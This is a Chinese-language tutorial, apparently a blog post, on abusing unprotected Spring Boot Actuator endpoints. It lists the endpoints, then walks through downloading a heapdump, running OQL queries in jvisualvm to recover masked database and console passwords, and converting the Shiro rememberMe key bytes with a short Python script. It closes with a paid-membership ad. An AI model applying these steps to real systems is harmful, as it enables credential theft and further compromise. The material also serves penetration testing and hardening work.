欢迎转发,请勿抄袭
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。
未授权访问可以理解为需要授权才可以访问的页面由于错误的配置等其它原因,导致其它用户可以直接访问,从而引发各种敏感信息泄露。
如何识别使用了Springboot框架
1、查看ico图标(默认的情况下)
2、通过报错信息
常见Spring Boot Actuator未授权访问
/dump \- 显示线程转储(包括堆栈跟踪)
/autoconfig \- 显示自动配置报告
/configprops \- 显示配置属性
/trace \- 显示最后几条HTTP消息(可能包含会话标识符)
/logfile \- 输出日志文件的内容
/shutdown \- 关闭应用程序
/info \- 显示应用信息
/metrics \- 显示当前应用的’指标’信息
/health \- 显示应用程序的健康指标
/beans \- 显示Spring Beans的完整列表
/mappings \- 显示所有MVC控制器映射
/env \- 提供对配置环境的访问
/heapdump - 转存堆文件
/restart \- 重新启动应用程序
**主要使用分析的文件heapdump文件**
前期需要访问/env,来确定带星的信息,我们需要读取出来。
再次访问/heapdump文件
http://url/actuator/heapdump
得到一个heapdump的文件,使用java自带的软件jvisualvm进行分析。
C:\Program Files\Java\jdk1.8.0_231\bin\jvisualvm.exe
常用分析方法:
一、去星,获取星号信息(适用于数据库密码、面板密码、wx.secret)
1、载入堆文件
2、通过前面的env确定存在spring.datasource.password、spring.datasource.druid.stat-view-servlet.login-password等字段,可以构建OQL查询语句
select s from java.lang.String s where /查询字段/.test(s.value.toString())
3、可构建成如下
select s from java.lang.String s where /spring.datasource.druid.stat-view-servlet.login-password/.test(s.value.toString())
4、点击执行查询结果,出现实例
5、进入实例里面,即可找到带星的明文信息。
6、假如出现不存在的明文信息的状态下,如:
7、发现password相连处未发现明文密码,那么就得使用另外一条语句
select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())
8、查询结果
二、分析shrio序列化KEY(适用于自定key)
1、通过访问站点,发现响应包或者请求包存在(remeberMe或者remeberme)
2、下载heapdump文件,在类处过滤语句
org.apache.shiro.web.mgt.CookieRememberMeManager
3、点击展开,记录byte的值
4、使用脚本进行转换(将下面的x替换到相应的值)
`import base64``import struct``data=struct.pack('<bbbbbbbbbbbbbbbb', -40, 11, -57, -123, -37, 32, 82,-51,5,x,x,-x,x,x,x,x)``print(base64.b64encode(data))`
5、编写完成之后,使用python执行,获得相关key
文章声明:该工具、教程仅供学习参考,请勿非法使用。否则与作者无关!
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放